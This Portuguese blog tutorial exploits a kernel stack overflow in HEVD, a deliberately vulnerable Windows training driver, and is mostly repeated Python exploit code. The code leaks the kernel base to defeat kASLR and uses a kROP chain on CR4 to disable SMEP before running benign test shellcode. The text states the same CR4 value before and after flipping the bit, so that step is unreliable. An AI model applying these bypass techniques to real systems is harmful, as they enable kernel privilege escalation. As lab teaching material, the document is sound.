Índice

Título
Índice
Índice
Título

Ataques

HEVD: evadindo as proteções do sistema operacional (kASLR + SMEP)

cover-hevd-smep-bypass (https://unsplash.com/photos/1bjsASjhfkE)
Andres Roldan

VP of Hacking

7 min

Nas publicações anteriores, temos trabalhado com a exploração no espaço do kernel do Windows. Usamos como alvo o HackSys Extremely Vulnerable Driver ou HEVD, que é composto por várias vulnerabilidades para que quem pratica possa aprimorar suas habilidades de exploração do kernel do Windows.

Na última publicação, conseguimos criar um exploit de DoS aproveitando uma vulnerabilidade de estouro de pilha no HEVD. O DoS ocorreu porque colocamos um valor arbitrário em EIP (41414141) e, quando o sistema operacional tentou acessar esse endereço de memória, ele não estava acessível.

Neste artigo, usaremos essa capacidade de sobrescrever o EIP para executar código em modo privilegiado.

Durante o processo de exploração, vamos nos deparar com o Supervisor Mode Execution Prevention, ou SMEP, que vai frustrar nosso exploit. Mas não tema: conseguiremos contorná-lo.

Exploração local vs. remota

Quando explorávamos o Vulnserver, fazíamos exploração remota de uma aplicação no espaço de usuário. Esse tipo de ambiente tem certas restrições específicas; as mais notórias são o espaço limitado do buffer para inserir nosso payload, as restrições de caracteres e o ASLR (Address Space Layout Randomization).

Quando exploramos o kernel do Windows, presume-se que já temos acesso local sem privilégios à máquina alvo. Nesse ambiente, essas restrições deixam de ser um grande problema. Por exemplo, o problema do espaço do buffer e as restrições de caracteres são facilmente contornados ao alocar memória dinâmica com VirtualAlloc(), movendo o payload bruto para esse buffer e sobrescrevendo o EIP com o ponteiro retornado.

O ASLRe o kASLR (Kernel ASLR) também não são um problema, porque funcionam aleatorizando a memória base dos módulos a cada reinício, mas, se tivermos acesso local, há funções na API do Windows que revelam o endereço base atual do kernel.

No entanto, outras proteções entram em cena ao tentar explorar no nível do kernel, como DEP, SMEP, CFG,etc. Certamente vamos nos deparar com algumas delas mais adiante. Fique ligado.

Exploração do estouro de pilha

Encerramos nosso artigo anterior artigo anterior realizando um DoS na máquina alvo, no qual usamos o seguinte exploit:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

E conseguimos sobrescrever o EIP com o valor 41414141.Se formos fazer algo mais interessante, devemos começar por localizar o offset exato em que o EIP é sobrescrito. Assim como em qualquer outro processo de exploração no espaço de usuário, podemos criar um padrão cíclico para encontrar esse offset. Podemos usar o mona para issot:

Using mona

Depois, atualizamos nosso exploit:

:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
 b'<insert pattern here>'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

E verificamos:

Checking updated exploit with mona

Bom, o mona descobriu que o EIP é sobrescrito a partir do byte 2080.

Agora, para fins ilustrativos, criaremos um shellcode simples para fazer EAX = 0xdeadbeef. Depois, devemos copiá-lo em um local gerado dinamicamente criado por VirtualAlloc(). O valor de retorno de VirtualAlloc()é um ponteiro que será colocado a partir do byte 2081 do nosso buffer para desviar o fluxo de execução para o nosso shellcode.

Vamos atualizar nosso exploit com isso:

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('<L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Se tudo sair como esperado, o EAX terá o valor 0xdeadbeef e a execução vai parar no breakpoint \xcc que inserimos. Vamos verificar:

SMEP protects the kernel

Ops!

Nosso exploit foi frustrado e o erro ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY foi disparado quando a primeira instrução do nosso shellcode tentava ser executada. Isso significa que o SMEP de fato protegeu o kernel.

SMEP: Supervisor Mode Execution Prevention

Há um conceito chamado Protection rings (anéis de proteção) que os sistemas operacionais usam para delimitar capacidades e oferecer tolerância a falhas, definindo níveis de privilégios. As versões do sistema operacional Windows usam apenas 2 níveis de privilégio atuais (CPL, Current Privilege Levels): 0 e 3. Os níveis CPL também são chamados de anéis (rings). O CPL0 ou ring-0 é onde o kernel é executado, e o CPL3 ou ring-3 é onde as instruções em modo usuário são realizadas.

O SMEP é uma proteção introduzida no nível da CPU que impede que o kernel execute código pertencente ao ring-3.

A exceção ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY foi disparada porque o HEVD é executado no ring-0e, após sobrescrever o EIP, tentava executar as instruções do nosso shellcode, que estava alocado no ring-3.

Tecnicamente, o SMEP nada mais é do que um bit em um registrador de controle da CPU, especificamente o bit 20 do registrador de controle CR4:

CR4 control register

Para contornar o SMEP, devemos inverter esse bit (torná-lo 0). Como se vê, o valor atual de CR4 com o SMEPhabilitado é 000406e9. Vamos ver qual seria o valor após inverter o bit 20:

Flipping the 20th bit

Seria 000406e9. Precisamos colocar esse valor em CR4para desligar o SMEP.

Mas como fazer isso se não temos permissão para executar instruções no ring-3? O ROP vem ao resgate! Precisamos executar uma cadeia ROPcom instruções que já estão em modo kernel. No ring-0, o ROP costuma ser chamado de kROP. Então precisamos executar uma cadeia kROP e alterar o valor de CR4 Com isso, devemos conseguir fazer EAX = 0xdeadbeef.

Em nt!KeFlushCurrentTb, encontramos um gadget que define o CR4 a partir do valor que o EAXtiver: mov cr4, eax # ret.


CR4 from EAX values

Agora, precisamos calcular o offset desse gadget ROP a partir do início do módulo nt:

nt module

O offset é 0011f8de. Vamos usá-lo mais adiante.

Agora precisamos encontrar um gadget pop eax # ret. Podemos encontrar um em nt!_MapCMDevicePropertyToNtProperty+0x39:

nt!_MapCMDevicePropertyToNtProperty+0x39

E o offset a partir do início do módulo nt é 0002bbef:

0002bbef

Devemos lembrar de preencher nossa cadeia ROP com 8 bytes, porque o epílogo da função que sofreu o estouro usa ret 8, que retornará ao valor apontado por ESP e depois retirará 8 bytes da pilha::

8 bytes from the stack

Com isso, já podemos desabilitar oSMEP!

Derrotando o kASLR

Já temos todas as informações necessárias para criar a cadeia ROP que desabilita o SMEP. No entanto, precisamos lidar com o ASLR do kernel. Como mencionei antes, há várias funções que podem ser executadas em modo usuário (ring-3) e que fornecem informações de endereços no ring-0. As mais usadas são NtQuerySystemInformation() e EnumDeviceDrivers(). Esta última é a mais simples. Com o código a seguir, você pode obter o endereço base do kernel:

import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base[0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

E verificamos:

0x81e09000

Como você pode ver, coincide perfeitamente com o endereço reportado pelo WinDBG:

Perfect match

Com isso, podemos atualizar nosso exploit, adicionando a cadeia ROP para desabilitar o SMEP, usando os offsets dos gadgets e o valor retornado por essa função para obter endereços absolutos, derrotando o kASLR!!

#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
 """Obtain kernel base address."""
 buff_size = 0x4

 base = (c_ulong * buff_size)(0)

 if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
 print('Failed to get kernel base address.')
 sys.exit(1)
 return base[0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
 b'\xb8\xef\xbe\xad\xde' + # mov eax,0xdeadbeef
 b'\xcc' # INT3 -> software breakpoint
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    # lpAddress
    c_int(len(SHELLCODE)),       # dwSize
    c_int(0x3000),               # flAllocationType = MEM_COMMIT | MEM_RESERVE
    c_int(0x40)                  # flProtect = PAGE_EXECUTE_READWRITE
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              # Destination
    SHELLCODE,                   # Source
    c_int(len(SHELLCODE))        # Length
)

ROP_CHAIN = (
    struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +     #  pop eax # ret
    struct.pack('<L', 0x42424242) +                    #  Padding for ret 8
    struct.pack('<L', 0x42424242) +                    #
    struct.pack('<L', 0x000406e9) +                    #  Value to disable SMEP
    struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +     #  mov cr4, eax # ret
    struct.pack('<L', RET_PTR)                         #  Pointer to shellcode
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Parece bom. Agora verifique:

Python exploit success

E este é o conteúdo do registrador CR4:

CR4 register content

Como você pode ver, ¡conseguimos desabilitar o SMEP e fizemos EAX = 0xdeadbeef!

Conclusões

Nesta publicação, conseguimos executar um shellcode que fez EAX = 0xdeadbeef. Também contornamos a proteção SMEP usando uma cadeia kROP e derrotamos o kASLR vazando o endereço base do kernel a partir do ring-3. No entanto, ainda precisamos obter uma shell privilegiada neste sistema, o que será abordado no póximo artigo.

Comece agora com o PTaaS da Fluid Attacks

Tags:

treinamento

exploit

vulnerabilidade

windows

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Reduza o risco sem atrasar suas entregas

Reduza o risco sem atrasar suas entregas

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Previna

Previna

Previna

Detecte

Detecte

Detecte

Gerencie

Gerencie

Gerencie

Corrija

Corrija

Corrija